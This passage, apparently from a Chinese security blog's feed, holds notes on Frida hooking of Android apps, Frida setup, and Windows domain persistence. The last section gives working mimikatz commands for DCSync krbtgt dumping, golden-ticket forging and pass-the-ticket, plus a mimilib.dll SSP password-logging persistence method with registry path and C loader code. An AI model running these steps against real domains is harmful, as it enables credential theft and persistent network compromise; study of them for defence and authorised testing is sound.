class="line">        <span class="keyword">return</span> <span class="string">"this is test with num "</span>+num;</span><br><span class="line">    &#125;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在方法后面加一个<code>overload</code>属性，参数为函数的类型，类型用字符串传入，用于指定具体要hook的方法。例如<code>utils.test.overload(&quot;int&quot;).implementation</code>。<br> 注意，要填写类的路径，例如如果是字符串类型，则要用<code>overload(&quot;int&quot;,&quot;java.lang.String&quot;)</code><br> jscode:</p><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">utils.test.overload(<span class="string">"int"</span>).implementation = <span class="function"><span class="keyword">function</span>(<span class="params">a</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="built_in">console</span>.log(<span class="string">"Hook Start..."</span>);</span><br><span class="line">        send(<span class="built_in">arguments</span>[<span class="number">0</span>]);</span><br><span class="line">        <span class="built_in">console</span>.log(<span class="string">"Hook Success..."</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="string">"This overload func is hooked"</span>;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><h3><span id="hook对象参数的构造">Hook对象参数的构造</span></h3><p>要hook的以对象为参数的方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.XXXX.app;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Utils</span> </span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">test</span><span class="params">(Money money)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> money.getInfo();</span><br><span class="line">    &#125;</span><br><span class="line">....</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里我们使用一个类型的<code>$new</code>来实例化一个类<br> jscode:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">jscode = <span class="string">"""</span></span><br><span class="line"><span class="string">Java.perform(function()&#123;</span></span><br><span class="line"><span class="string">    var utils = Java.use("com.XXXX.app.Utils");</span></span><br><span class="line"><span class="string">    var money=Java.use("com.XXXX.app.Money");</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">    utils.test.overload("com.XXXX.app.Money").implementation = function(a)</span></span><br><span class="line"><span class="string">    &#123;</span></span><br><span class="line"><span class="string">        console.log("Hook Start...");</span></span><br><span class="line"><span class="string">        send(a.getInfo());</span></span><br><span class="line"><span class="string">        var m = money.$new(6666,"DOLLAR");</span></span><br><span class="line"><span class="string">        send(m.getInfo());</span></span><br><span class="line"><span class="string">        return m.getInfo();</span></span><br><span class="line"><span class="string">        //return this.test(m);</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">&#125;);</span></span><br><span class="line"><span class="string">"""</span></span><br></pre></td></tr></table></figure><h3><span id="修改对象属性的值">修改对象属性的值</span></h3><h5><span id="常规方法">常规方法</span></h5><ul><li>如果<code>obj.Attr</code>的话，获取到的还是对象，例如<code>a.name</code>的返回值是<code>[*] {&#39;value&#39;: &#39;美元&#39;, &#39;fieldType&#39;: 2, &#39;fieldReturnType&#39;: {&#39;className&#39;: &#39;java.lang.String&#39;, &#39;name&#39;: &#39;Ljava/lang/String;&#39;, &#39;type&#39;: &#39;pointer&#39;, &#39;size&#39;: 1}} [*] 美元</code> </li><li>我们使用<code>a.name.value</code>就能获取对象属性的值了。<br> 例如</li></ul><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">utils.test.overload(<span class="string">"com.xiaojianbang.app.Money"</span>).implementation = <span class="function"><span class="keyword">function</span>(<span class="params">a</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="built_in">console</span>.log(<span class="string">"Hook Start..."</span>);</span><br><span class="line">        send(a.name); <span class="comment">//object</span></span><br><span class="line">        send(a.name.value); <span class="comment">//real value</span></span><br><span class="line">        <span class="keyword">var</span> m = money.$<span class="keyword">new</span>(<span class="number">6666</span>,<span class="string">"DOLLAR"</span>);</span><br><span class="line">        m.name.value=<span class="string">"ForeignMoney"</span>;</span><br><span class="line">        send(m.getInfo());</span><br><span class="line">        <span class="keyword">return</span> m.getInfo();</span><br><span class="line">        <span class="comment">//return this.test(m);</span></span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><h5><span id="java反射">Java反射</span></h5><p>对于私有属性，我们可以用Java反射的方法设置。<br> 在Java反射中，通过<code>Java.cast(m.getClass(),clazz).getDeclaredField(&#39;num&#39;)</code>，m为一个实例化对象，后面<code>getDeclaredField</code>可以获得属性。通过<code>Java.use(&#39;java.lang.Class&#39;);</code>获取类的构造器<br> 这里，通过属性的<code>get(ObjectsInstantiated)</code>可以获取值，通过属性的<code>setInt(ObjectsInstantiated，value)</code>可以设置一个对象的属性值。<code>ObjectsInstantiated</code>为一个对象。<br> 这里，对于反射后的值，用<code>console.log</code>可以很好的输出值，而<code>send</code>在此处会打印对象。</p><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">Java.perform(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">var</span> utils = Java.use(<span class="string">"com.XXXX.app.Utils"</span>);</span><br><span class="line">    <span class="keyword">var</span> money=Java.use(<span class="string">"com.XXXX.app.Money"</span>);</span><br><span class="line">    </span><br><span class="line">    utils.test.overload(<span class="string">"com.XXXX.app.Money"</span>).implementation = <span class="function"><span class="keyword">function</span>(<span class="params">a</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="built_in">console</span>.log(<span class="string">"Hook Start..."</span>);</span><br><span class="line">        <span class="keyword">var</span> m = money.$<span class="keyword">new</span>(<span class="number">6666</span>,<span class="string">"DOLLAR"</span>);</span><br><span class="line">        <span class="keyword">var</span> clazz = Java.use(<span class="string">'java.lang.Class'</span>);</span><br><span class="line">        <span class="keyword">var</span> num_id = Java.cast(m.getClass(),clazz).getDeclaredField(<span class="string">'num'</span>);</span><br><span class="line">        num_id.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="keyword">var</span> value = num_id.get(m);</span><br><span class="line">        <span class="built_in">console</span>.log(value);</span><br><span class="line">        send(value); <span class="comment">// have format problem</span></span><br><span class="line">        num_id.setInt(m,<span class="number">23333</span>);</span><br><span class="line">        <span class="built_in">console</span>.log(num_id.get(m));</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">this</span>.test(m);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h3><span id="hook内部类">Hook内部类</span></h3><p>要hook的内部类。</p><p>在 Java 中，可以将一个类定义在另一个类里面或者一个方法里面，这样的类称为内部类。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Circle</span> </span>&#123;</span><br><span class="line">    <span class="keyword">double</span> radius = <span class="number">0</span>;</span><br><span class="line">     </span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="title">Circle</span><span class="params">(<span class="keyword">double</span> radius)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">this</span>.radius = radius;</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">Draw</span> </span>&#123;     <span class="comment">//内部类</span></span><br><span class="line">        <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">drawSahpe</span><span class="params">()</span> </span>&#123;</span><br><span class="line">            System.out.println(<span class="string">"drawshape"</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在获取要hook的类后加<code>$</code>和内部类名。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> inInnerClass = Java.use(<span class="string">'com.XXXX.app.Circle$Draw'</span>);</span><br><span class="line"></span><br><span class="line">inInnerClass.drawSahpe.implementation = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3><span id="打印方法堆栈信息">打印方法堆栈信息</span></h3><p>用Java.use方法获取类型变量：var Exception = Java.use(“java.lang.Exception”)</p><p>然后是js中支持throw语法的，直接在需要打印堆栈信息的方法中调用即可。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">AndroidLog = Java.use(<span class="string">"android.util.Log"</span>)</span><br><span class="line">AndroidException = Java.use(<span class="string">"java.lang.Exception"</span>)</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">printStackTrace</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line"><span class="built_in">console</span>.log(AndroidLog .getStackTraceString(AndroidException .$<span class="keyword">new</span>()));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3><span id="总结">总结</span></h3><h4><span id="java层代码hook操作">Java层代码Hook操作</span></h4><ul><li><p>1、hook方法包括构造方法和对象方法，构造方法固定写法是$init，普通方法直接是方法名，参数可以自己定义也可以使用系统隐含的变量arguments获取。</p></li><li><p>2、修改方法的参数和返回值，直接调用原始方法通过传入想要修改的参数来做到修改参数的目的，以及修改返回值即可。</p></li><li>3、构造对象和修改对象的属性值，直接用反射进行操作，构造对象用固定写法的$new即可。</li><li>4、直接用Java的Exception对象打印堆栈信息，然后通过adb logcat -s AndroidRuntime来查看异常信息跟踪代码。</li></ul><p>总结：获取对象的类类型是Java.use方法，方法有重载的话用overload(…….)解决。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;hook构造方法&quot;&gt;Hook构造方法&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;要hook的是一个类的构造函数&lt;/p&gt;
&lt;figure class=&quot;highlight java&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span c
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>frida-安装配置</title>
    <link href="https://uknowsec.cn/posts/notes/frida-%E5%AE%89%E8%A3%85%E9%85%8D%E7%BD%AE.html"/>
    <id>https://uknowsec.cn/posts/notes/frida-安装配置.html</id>
    <published>2019-12-06T02:35:37.000Z</published>
    <updated>2019-12-06T02:53:39.995Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="frida安装">frida安装</span></h3><h4><span id="frida-12724-frida-tools-530">frida-12.7.24、frida-tools-5.3.0</span></h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pip install frida -i https://pypi.douban.com/simple --trusted-host pypi.douban.com</span><br><span class="line">pip install frida-tools -i https://pypi.douban.com/simple --trusted-host pypi.douban.com</span><br></pre></td></tr></table></figure><h4><span id="frida-server">frida-server</span></h4><p><a href="https://github.com/frida/frida/releases" target="_blank" rel="noopener">https://github.com/frida/frida/releases</a></p><h5><span id="虚拟机">虚拟机</span></h5><ul><li><p>frida-server-12.7.24-android-x86  </p></li><li><p>frida-server-12.7.24-android-x86_64</p></li></ul><h5><span id="真机">真机</span></h5><ul><li>frida-server-12.7.24-android-arm</li><li>frida-server-12.7.24-android-arm64</li></ul><h4><span id="andoridkiller">AndoridKiller</span></h4><p>用于查看Android日志、进程、文件等等。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1575527906411.png" alt="1575527906411"></p><h3><span id="frida启动">frida启动</span></h3><h4><span id="启动frida-server">启动frida-server</span></h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">adb push frida-server-12.7.24-android-x86 /data/<span class="built_in">local</span>/tmp/</span><br><span class="line">adb shell</span><br><span class="line"><span class="built_in">cd</span> /data/<span class="built_in">local</span>/tmp</span><br><span class="line">chmod 777 frida-server-12.7.24-android-x86</span><br><span class="line">./frida-server-12.7.24-android-x86</span><br></pre></td></tr></table></figure><h4><span id="启动转发">启动转发</span></h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">adb forward tcp:27042 tcp:27042</span><br><span class="line">adb forward tcp:27043 tcp:27043</span><br></pre></td></tr></table></figure><h4><span id="androidkiller-adb连接">Androidkiller adb连接</span></h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&gt; adb.exe devices</span><br><span class="line">List of devices attached</span><br><span class="line">127.0.0.1:62026 device</span><br><span class="line"></span><br><span class="line">&gt; adb.exe connect 127.0.0.1:62026</span><br><span class="line">adb server version (32) doesn&apos;t match this client (36); killing...</span><br><span class="line">* daemon started successfully *</span><br><span class="line">connected to 127.0.0.1:62026</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1575528331429.png" alt="1575528331429"></p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1575528424667.png" alt="1575528424667"></p><h3><span id="frida脚本">frida脚本</span></h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">import time</span><br><span class="line">import sys</span><br><span class="line">import frida</span><br><span class="line"></span><br><span class="line">js_code =&apos;&apos;&apos;</span><br><span class="line">    console.log(&quot;Script loaded successfully &quot;);</span><br><span class="line">    Java.perform(function x() &#123; //Silently fails without the sleep from the python code</span><br><span class="line">    console.log(&quot;Inside java perform function&quot;);</span><br><span class="line">    //get a wrapper for our class</span><br><span class="line">    var my_class = Java.use(&quot;com.example.a11x256.frida_test.my_activity&quot;);</span><br><span class="line">    //replace the original implmenetation of the function `fun` with our custom function</span><br><span class="line">    my_class.fun.implementation = function (x, y) &#123;</span><br><span class="line">        //print the original arguments</span><br><span class="line">        console.log(&quot;original call: fun(&quot; + x + &quot;, &quot; + y + &quot;)&quot;);</span><br><span class="line">        //call the original implementation of `fun` with args (2,5)</span><br><span class="line">        var ret_value = this.fun(2, 5);</span><br><span class="line">        return ret_value;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line">&apos;&apos;&apos;</span><br><span class="line"></span><br><span class="line">device = frida.get_remote_device()</span><br><span class="line">pid = device.spawn([&quot;com.example.a11x256.frida_test&quot;])</span><br><span class="line">device.resume(pid)</span><br><span class="line">time.sleep(1)  # Without it Java.perform silently fails</span><br><span class="line">session = device.attach(pid)</span><br><span class="line">script = session.create_script(js_code)</span><br><span class="line">#with open(&quot;s1.js&quot;) as f:</span><br><span class="line">#    script = session.create_script(f.read())</span><br><span class="line">script.load()</span><br><span class="line"></span><br><span class="line"># prevent the python script from terminating</span><br><span class="line">sys.stdin.read()</span><br></pre></td></tr></table></figure><ul><li><p><code>sdevice.spawn([&quot;com.example.a11x256.frida_test&quot;])</code>，要hook的进程包名<code>com.yusakul.myapplication</code>，<code>get_remote_device()</code>获取远程设备，如果是真机usb接入的话，可修改为函数<code>get_usb_device()</code>。</p></li><li><p><code>script = session.create_script(js_code)script.load()</code></p><p>创建加载js脚本。同时也可以通过外部js文件的方式加载</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">with open(&quot;s1.js&quot;) as f:</span><br><span class="line">    script = session.create_script(f.read())</span><br></pre></td></tr></table></figure></li><li><p><code>js_code</code>是hook脚本，为js脚本语言。</p></li></ul><h3><span id="apk-hook源码">apk hook源码</span></h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.a11x256.frida_test;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> android.os.Bundle;</span><br><span class="line"><span class="keyword">import</span> android.support.v7.app.AppCompatActivity;</span><br><span class="line"><span class="keyword">import</span> android.util.Log;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">my_activity</span> <span class="keyword">extends</span> <span class="title">AppCompatActivity</span> </span>&#123;</span><br><span class="line">    <span class="comment">/* Access modifiers changed, original: protected */</span></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onCreate</span><span class="params">(Bundle savedInstanceState)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">super</span>.onCreate(savedInstanceState);</span><br><span class="line">        setContentView((<span class="keyword">int</span>) R.layout.activity_my_activity);</span><br><span class="line">        <span class="keyword">while</span> (<span class="keyword">true</span>) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                Thread.sleep(<span class="number">1000</span>);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">                e.printStackTrace();</span><br><span class="line">            &#125;</span><br><span class="line">            fun(<span class="number">50</span>, <span class="number">30</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Access modifiers changed, original: 0000 */</span></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">fun</span><span class="params">(<span class="keyword">int</span> x, <span class="keyword">int</span> y)</span> </span>&#123;</span><br><span class="line">        Log.d(<span class="string">"Sum"</span>, String.valueOf(x + y));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此App实现简单的运算，计算50+30并在日志中进行输出。而hook脚本的作用是用于打印原始参数<code>console.log( &quot;original call: fun(&quot;+ x + &quot;, &quot; + y + &quot;)&quot;);</code>。</p><p>并调用原函数，并传参2,5。将函数执行结果返回。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> ret_value = <span class="keyword">this</span>.fun(<span class="number">2</span>, <span class="number">5</span>);</span><br><span class="line"><span class="keyword">return</span> ret_value;</span><br></pre></td></tr></table></figure><h3><span id="运行frida-hook脚本">运行frida hook脚本</span></h3><p>APP正常运行是输出50+30的结果。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1575532370131.png" alt="1575532370131"></p><p>运行hook脚本</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1575533774787.png" alt="1575533774787"></p><p>日志输出为hook脚本的给的参数，并在脚本中输出原始参数值。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;frida安装&quot;&gt;frida安装&lt;/span&gt;&lt;/h3&gt;&lt;h4&gt;&lt;span id=&quot;frida-12724-frida-tools-530&quot;&gt;frida-12.7.24、frida-tools-5.3.0&lt;/span&gt;&lt;/h4&gt;&lt;figure clas
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>域渗透-域维权</title>
    <link href="https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%9F%9F%E7%BB%B4%E6%9D%83.html"/>
    <id>https://uknowsec.cn/posts/notes/域渗透-域维权.html</id>
    <published>2019-09-11T14:17:17.000Z</published>
    <updated>2019-09-11T15:41:19.350Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="黄金票据">黄金票据</span></h3><h4><span id="简介">简介</span></h4><p>Golden Ticket（下面称为金票）是通过伪造的TGT（TicketGranting Ticket），因为只要有了高权限的TGT，那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。</p><p><strong>制作金票的条件：</strong></p><blockquote><p>1、域名称</p><p>2、域的SID值</p><p>3、域的KRBTGT账户密码HASH </p><p>4、伪造用户名，可以是任意的</p></blockquote><h4><span id="利用过程">利用过程</span></h4><p>金票的生成需要用到krbtgt的密码HASH值，可以通过mimikatz中的</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lsadump::dcsync /OWA2010SP3.0day.org /user:krbtgt</span><br></pre></td></tr></table></figure><p>命令获取krbtgt的值。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1566542295163.png" alt="1566542295163"></p><p>得到KRBTGT HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi，即为伪造成功的TGT。</p><p>参数说明：</p><blockquote><p>/admin：伪造的用户名</p><p>/domain：域名称</p><p>/sid：SID值，注意是去掉最后一个-后面的值</p><p>/krbtgt：krbtgt的HASH值</p><p>/ticket：生成的票据名称</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1566543225966.png" alt="1566543225966"></p><p>通过mimikatz中的kerberos::ptt功能（Pass The Ticket）将golden.kiribi导入内存中。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">kerberos::purge</span><br><span class="line">kerberos::ppt golden.kiribi</span><br><span class="line">kerberos::list</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1566542805439.png" alt="1566542805439"></p><p>此时就可以通过dir成功访问域控的共享文件夹。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dir \\OWA2010SP3.0day.org\c$</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1566543260644.png" alt="1566543260644"></p><h3><span id="ssp密码记录">SSP密码记录</span></h3><h4><span id="简介">简介</span></h4><p><strong>SSP：</strong>Security Support Provider，直译为安全支持提供者，又名Security Package.</p><p>简单的理解为SSP就是一个DLL，用来实现身份认证。</p><p><strong>SSPI：</strong>Security Support Provider Interface，直译为安全支持提供程序接口，是Windows系统在执行认证操作所使用的API。</p><p>简单的理解为SSPI是SSP的API接口</p><p><strong>LSA：</strong>Local Security Authority，用于身份认证，常见进程为lsass.exe</p><p>特别的地方在于LSA是可扩展的，在系统启动的时候SSP会被加载到进程lsass.exe中.</p><p>这相当于我们可以自定义一个dll，在系统启动的时候被加载到进程lsass.exe。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568039967810.png" alt="1568039967810"></p><p>如图，这是正常的SSPI结构图，Client APP是我们自定义的dll，通过Secur32.dll可以调用 “<code>credential capture API</code>“来获取LSA的信息</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568041132774.png" alt="1568041132774"></p><p>上图展示了攻击思路，既然可以自定义dll,那么我们就可以定制dll的功能，通过<code>Named Pipe</code>和<code>Shared Memory</code>直接获取<code>lsass.exe</code>中的明文密码，并且能够在其更改密码时立即获得新密码。</p><h4><span id="mimilib-ssp">mimilib SSP</span></h4><p>mimikatz早已支持这个功能，而这个文件就是我们使用的时候常常忽略的mimilib.dll</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568041283216.png" alt="1568041283216"></p><h4><span id="利用过程">利用过程</span></h4><h5><span id="方法一">方法一</span></h5><ol><li><p>添加SSP</p><p>将mimilib.dll复制到域控<code>c:\windows\system32</code>下</p></li></ol><ol><li><p>设置SSP</p><p>修改域控注册表位置：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568042525270.png" alt="1568042525270"></p></li></ol><p>   3.重启系统</p><p>   域控重启后在<code>c:\windows\system32</code>可看到新生成的文件kiwissp.log</p><p>   <img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1568084137907.png" alt="1568084137907"></p><h5><span id="方法二使用api-addsecuritypackage">方法二：使用API AddSecurityPackage</span></h5><p>   (1)复制文件</p><p>   同方法1</p><p>   (2)修改注册表</p><p>   同方法1</p><p>   (3)调用AddSecurityPackage</p><p>   测试代码如下：</p>   <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">   #define SECURITY_WIN32</span><br><span class="line">   </span><br><span class="line">   #include &lt;stdio.h&gt;</span><br><span class="line">   #include &lt;Windows.h&gt;</span><br><span class="line">   #include &lt;Security.h&gt;</span><br><span class="line">   #pragma comment(lib,&quot;Secur32.lib&quot;)</span><br><span class="line">   </span><br><span class="line">   </span><br><span class="line">   int main(int argc, char **argv) &#123;</span><br><span class="line">   SECURITY_PACKAGE_OPTIONS option;</span><br><span class="line">   option.Size = sizeof(option);</span><br><span class="line">   option.Flags = 0;</span><br><span class="line">   option.Type = SECPKG_OPTIONS_TYPE_LSA;</span><br><span class="line">   option.SignatureSize = 0;</span><br><span class="line">   option.Signature = NULL;</span><br><span class="line">   SECURITY_STATUS SEC_ENTRYnRet = AddSecurityPackageA(&quot;mimilib&quot;, &amp;option);</span><br><span class="line">   printf(&quot;AddSecurityPackage return with 0x%X\n&quot;, SEC_ENTRYnRet);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>   